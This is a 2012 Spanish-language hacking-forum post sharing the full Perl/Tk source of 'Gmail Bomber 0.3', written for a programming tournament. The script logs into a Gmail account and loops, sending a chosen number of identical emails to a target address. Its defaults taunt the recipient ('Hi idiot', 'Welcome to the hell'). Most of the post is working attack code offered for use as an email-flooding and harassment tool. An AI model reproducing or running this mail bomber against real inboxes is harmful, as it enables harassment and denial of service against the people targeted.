elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] Gmail Bomber 0.3
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] Gmail Bomber 0.3  (Leído 1,317 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] Gmail Bomber 0.3
« en: 23 Febrero 2012, 17:39 pm »

Hola a todos , aca les traigo un gmail bomber que hice para el torneo de programacion de HackXCrack , se trata de un simple mail bomber para Gmail , aca les dejo una imagen del programa en uso donde me envio 40 mensajes a mi cuenta


Y mi casilla quedo asi


El codigo del programa (formateado con perltidy) es

Código
  1. #!usr/bin/perl
  2. #Gmail Bomber 0.2
  3. #Dependencies
  4. #http://search.cpan.org/~peco/Email-Send-SMTP-Gmail-0.24/lib/Email/Send/SMTP/Gmail.pm
  5. #http://search.cpan.org/~cwest/Net-SMTP-SSL-1.01/lib/Net/SMTP/SSL.pm
  6. #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
  7. #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
  8. #http://search.cpan.org/~gbarr/Authen-SASL-2.15/lib/Authen/SASL.pod
  9.  
  10. use Tk;
  11. use Win32;
  12. use Email::Send::SMTP::Gmail;
  13.  
  14. if ( $^O eq 'MSWin32' ) {
  15.    use Win32::Console;
  16.    Win32::Console::Free();
  17. }
  18.  
  19. my $color_fondo = "black";
  20. my $color_texto = "green";
  21.  
  22. my $ve =
  23.  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  24. $ve->geometry("300x600+20+20");
  25. $ve->resizable( 0, 0 );
  26. $ve->title("Gmail Bomber 0.2");
  27.  
  28. $ve->Label(
  29.    -text       => "Login",
  30.    -font       => "Impact3",
  31.    -background => $color_fondo,
  32.    -foreground => $color_texto
  33. )->place( -x => 110, -y => 30 );
  34.  
  35. $ve->Label(
  36.    -text       => "Username : ",
  37.    -background => $color_fondo,
  38.    -foreground => $color_texto
  39. )->place( -x => 20, -y => 80 );
  40. my $user = $ve->Entry(
  41.    -width      => 30,
  42.    -text       => 'lagartojuancho@gmail.com',
  43.    -background => $color_fondo,
  44.    -foreground => $color_texto
  45. )->place( -y => 83, -x => 85 );
  46.  
  47. $ve->Label(
  48.    -text       => "Password : ",
  49.    -background => $color_fondo,
  50.    -foreground => $color_texto
  51. )->place( -x => 20, -y => 120 );
  52. my $pass = $ve->Entry(
  53.    -show       => "*",
  54.    -width      => 30,
  55.    -text       => 'Secret',
  56.    -background => $color_fondo,
  57.    -foreground => $color_texto
  58. )->place( -y => 123, -x => 85 );
  59.  
  60. $ve->Label(
  61.    -text       => "Message",
  62.    -font       => "Impact3",
  63.    -background => $color_fondo,
  64.    -foreground => $color_texto
  65. )->place( -x => 110, -y => 160 );
  66.  
  67. $ve->Label(
  68.    -text       => "Number : ",
  69.    -background => $color_fondo,
  70.    -foreground => $color_texto
  71. )->place( -x => 20, -y => 210 );
  72. my $number = $ve->Entry(
  73.    -width      => 5,
  74.    -text       => "20",
  75.    -background => $color_fondo,
  76.    -foreground => $color_texto
  77. )->place( -x => 75, -y => 212 );
  78.  
  79. $ve->Label(
  80.    -text       => "Target : ",
  81.    -background => $color_fondo,
  82.    -foreground => $color_texto
  83. )->place( -x => 20, -y => 240 );
  84. my $to = $ve->Entry(
  85.    -text       => 'idiot@gmail.com',
  86.    -width      => 30,
  87.    -background => $color_fondo,
  88.    -foreground => $color_texto
  89. )->place( -x => 73, -y => 242 );
  90.  
  91. $ve->Label(
  92.    -text       => "Subject : ",
  93.    -background => $color_fondo,
  94.    -foreground => $color_texto
  95. )->place( -x => 20, -y => 270 );
  96. my $tema = $ve->Entry(
  97.    -text       => "Hi idiot",
  98.    -width      => 20,
  99.    -background => $color_fondo,
  100.    -foreground => $color_texto
  101. )->place( -x => 73, -y => 273 );
  102.  
  103. $ve->Label(
  104.    -text       => "Body",
  105.    -font       => "Impact3",
  106.    -background => $color_fondo,
  107.    -foreground => $color_texto
  108. )->place( -x => 110, -y => 310 );
  109. my $body = $ve->Text(
  110.    -width      => 30,
  111.    -height     => 12,
  112.    -background => $color_fondo,
  113.    -foreground => $color_texto
  114. )->place( -x => 45, -y => 350 );
  115. $body->insert( "end", "Welcome to the hell" );
  116.  
  117. $ve->Button(
  118.    -text             => "Send",
  119.    -width            => 10,
  120.    -command          => \&start,
  121.    -background       => $color_fondo,
  122.    -foreground       => $color_texto,
  123.    -activebackground => $color_texto
  124. )->place( -x => 43, -y => 550 );
  125. $ve->Button(
  126.    -text             => "About",
  127.    -width            => 10,
  128.    -command          => \&about,
  129.    -background       => $color_fondo,
  130.    -foreground       => $color_texto,
  131.    -activebackground => $color_texto
  132. )->place( -x => 117, -y => 550 );
  133. $ve->Button(
  134.    -text             => "Exit",
  135.    -width            => 10,
  136.    -command          => [ $ve => "destroy" ],
  137.    -background       => $color_fondo,
  138.    -foreground       => $color_texto,
  139.    -activebackground => $color_texto
  140. )->place( -x => 190, -y => 550 );
  141.  
  142. MainLoop;
  143.  
  144. sub start {
  145.  
  146.    $text = $body->get( "1.0", "end" );
  147.    chomp $text;
  148.  
  149.    if (
  150.        my $mail = Email::Send::SMTP::Gmail->new(
  151.            -smtp  => "gmail.com",
  152.            -login => $user->get,
  153.            -pass  => $pass->get
  154.        )
  155.      )
  156.    {
  157.  
  158.        for my $number ( 1 .. $number->get ) {
  159.            $ve->update;
  160.            $mail->send(
  161.                -to      => $to->get,
  162.                -subject => $tema->get,
  163.                -body    => $text
  164.            );
  165.        }
  166.  
  167.        Win32::MsgBox( "Send", 0, "Mails Send" );
  168.  
  169.        $mail->bye;
  170.  
  171.    }
  172.    else {
  173.        Win32::MsgBox( "Error in the login", 0, "Error" );
  174.    }
  175. }
  176.  
  177. sub about {
  178.  
  179.    my $text =
  180. "This program was written by Doddy H for the Tournament of Programming Perl
  181. to forum HackxCrack";
  182.  
  183.    Win32::MsgBox( $text, 0, "About" );
  184.  
  185. }
  186.  
  187. #The End ?
  188.  


« Última modificación: 23 Febrero 2012, 19:14 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Perl] Gmail Cracker 0.1
Scripting
BigBear 0 1,428 Último mensaje 1 Febrero 2012, 19:25 pm
por BigBear
[Perl] Gmail Inbox 0.1
Scripting
BigBear 0 921 Último mensaje 28 Abril 2012, 16:50 pm
por BigBear
Email Bomber en VB (solo Gmail) « 1 2 »
.NET (C#, VB.NET, ASP)
S_M_A_C_K 14 7,450 Último mensaje 6 Noviembre 2012, 21:34 pm
por Pablo Videla
[JavaFX] Gmail King Bomber.
Java
Mitgus 6 3,886 Último mensaje 28 Junio 2013, 02:18 am
por ThinkByYourself
[Perl Tk] DH Bomber 0.2
Scripting
BigBear 0 1,636 Último mensaje 27 Septiembre 2013, 17:50 pm
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines